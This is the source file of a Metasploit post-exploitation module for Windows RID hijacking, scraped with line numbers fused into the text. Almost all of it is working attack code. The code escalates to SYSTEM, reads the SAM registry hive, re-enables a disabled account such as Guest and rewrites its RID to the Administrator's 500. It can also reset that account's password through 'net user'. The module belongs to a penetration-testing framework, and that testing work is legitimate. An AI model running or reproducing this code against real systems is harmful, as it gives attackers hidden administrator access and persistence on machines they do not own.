Path: blob/master/modules/post/windows/manage/rid_hijack.rb
19592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Windows::Registry7include Msf::Post::Windows::Priv89def initialize10super(11'Name' => 'Windows Manage RID Hijacking',12'Description' => %q{13This module will create an entry on the target by modifying some properties14of an existing account. It will change the account attributes by setting a15Relative Identifier (RID), which should be owned by one existing16account on the destination machine.1718Taking advantage of some Windows Local Users Management integrity issues,19this module will allow to authenticate with one known account20credentials (like GUEST account), and access with the privileges of another21existing account (like ADMINISTRATOR account), even if the spoofed account is22disabled.23},24'License' => MSF_LICENSE,25'Author' => 'Sebastian Castro <sebastian.castro[at]cslcolombia.com>',26'Platform' => ['win'],27'SessionTypes' => ['meterpreter'],28'References' => [29['URL', 'https://web.archive.org/web/20240520163742/https://csl.com.co/rid-hijacking/']30],31'Compat' => {32'Meterpreter' => {33'Commands' => %w[34priv_elevate_getsystem35]36},37'Notes' => {38'Stability' => [CRASH_SAFE],39'SideEffects' => [CONFIG_CHANGES],40'Reliability' => []41}42})4344register_options(45[46OptBool.new('GETSYSTEM', [true, 'Attempt to get SYSTEM privilege on the target host.', false]),47OptBool.new('GUEST_ACCOUNT', [true, 'Assign the defined RID to the Guest Account.', false]),48OptString.new('USERNAME', [false, 'User to set the defined RID.']),49OptString.new('PASSWORD', [false, 'Password to set to the defined user account.']),50OptInt.new('RID', [true, 'RID to set to the specified account.', 500])51]52)53end5455def getsystem56results = session.priv.getsystem57if results[0]58return true59else60return false61end62end6364def get_name_from_rid(reg_key, rid, names_key)65names_key.each do |name|66skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')67rid_user = skey['Type']68return name if rid_user == rid69end70return nil71end7273def get_user_rid(reg_key, username, names_key)74names_key.each do |name|75next unless name.casecmp(username).zero?7677print_good("Found #{name} account!")78skey = registry_getvalinfo(reg_key + "\\Names\\#{name}", '')79rid = skey['Type']80if !skey81print_error("Could not open user's key")82return -183end84return rid85end86return -187end8889def check_active(fbin)90if fbin[0x38].unpack('H*')[0].to_i != 1091return true92else93return false94end95end9697def swap_rid(fbin, rid)98# This function will set hex format to a given RID integer99hex = [format('%04x', rid).scan(/.{2}/).reverse.join].pack('H*')100# Overwrite new RID at offset 0x30101fbin[0x30, 2] = hex102return fbin103end104105def run106# Registry key to manipulate107reg_key = 'HKLM\\SAM\\SAM\\Domains\\Account\\Users'108109# Checks privileges of the session, and tries to get SYSTEM privileges if needed.110print_status('Checking for SYSTEM privileges on session')111if !is_system?112if datastore['GETSYSTEM']113print_status('Trying to get SYSTEM privileges')114if getsystem115print_good('Got SYSTEM privileges')116else117print_error('Could not obtain SYSTEM privileges')118return119end120else121print_error('Session is not running with SYSTEM privileges. Try setting GETSYSTEM ')122return123end124else125print_good('Session is already running with SYSTEM privileges')126end127128# Checks the Windows Version.129version = get_version_info130print_status("Target OS: #{version.product_name}")131132# Load the usernames from SAM Registry key133names_key = registry_enumkeys(reg_key + '\\Names')134unless names_key135print_error('Could not access to SAM registry keys')136return137end138139# If username is set, looks for it in SAM registry key140user_rid = -1141username = datastore['USERNAME']142if datastore['GUEST_ACCOUNT']143user_rid = 0x1f5144print_status('Target account: Guest Account')145username = get_name_from_rid(reg_key, user_rid, names_key)146else147if datastore['USERNAME'].to_s.empty?148print_error('You must set an username or enable GUEST_ACCOUNT option')149return150end151print_status('Checking users...')152user_rid = get_user_rid(reg_key, datastore['USERNAME'], names_key)153end154155# Result of the RID harvesting156if user_rid == -1157print_error('Could not find the specified username')158return159else160print_status("Target account username: #{username}")161print_status("Target account RID: #{user_rid}")162end163164# Search the Registry associated to the user's RID and overwrites it165users_key = registry_enumkeys(reg_key)166users_key.each do |r|167next if r.to_i(16) != user_rid168169f = registry_getvaldata(reg_key + "\\#{r}", 'F')170if check_active(f)171print_status('Account is disabled, activating...')172f[0x38] = ['10'].pack('H')173print_good('Target account enabled')174else175print_good('Target account is already enabled')176end177178print_status('Overwriting RID')179# Overwrite RID to specified RID180f = swap_rid(f, datastore['RID'])181182open_key = registry_setvaldata(reg_key + "\\#{r}", 'F', f, 'REG_BINARY')183unless open_key184print_error("Can't write to registry... Something's wrong!")185return -1186end187print_good("The RID #{datastore['RID']} is set to the account #{username} with original RID #{user_rid}")188end189# If set, changes the specified username's password190if datastore['PASSWORD']191print_status("Setting #{username} password to #{datastore['PASSWORD']}")192cmd = cmd_exec('cmd.exe', "/c net user #{username} #{datastore['PASSWORD']}")193vprint_status(cmd.to_s)194end195end196end197198199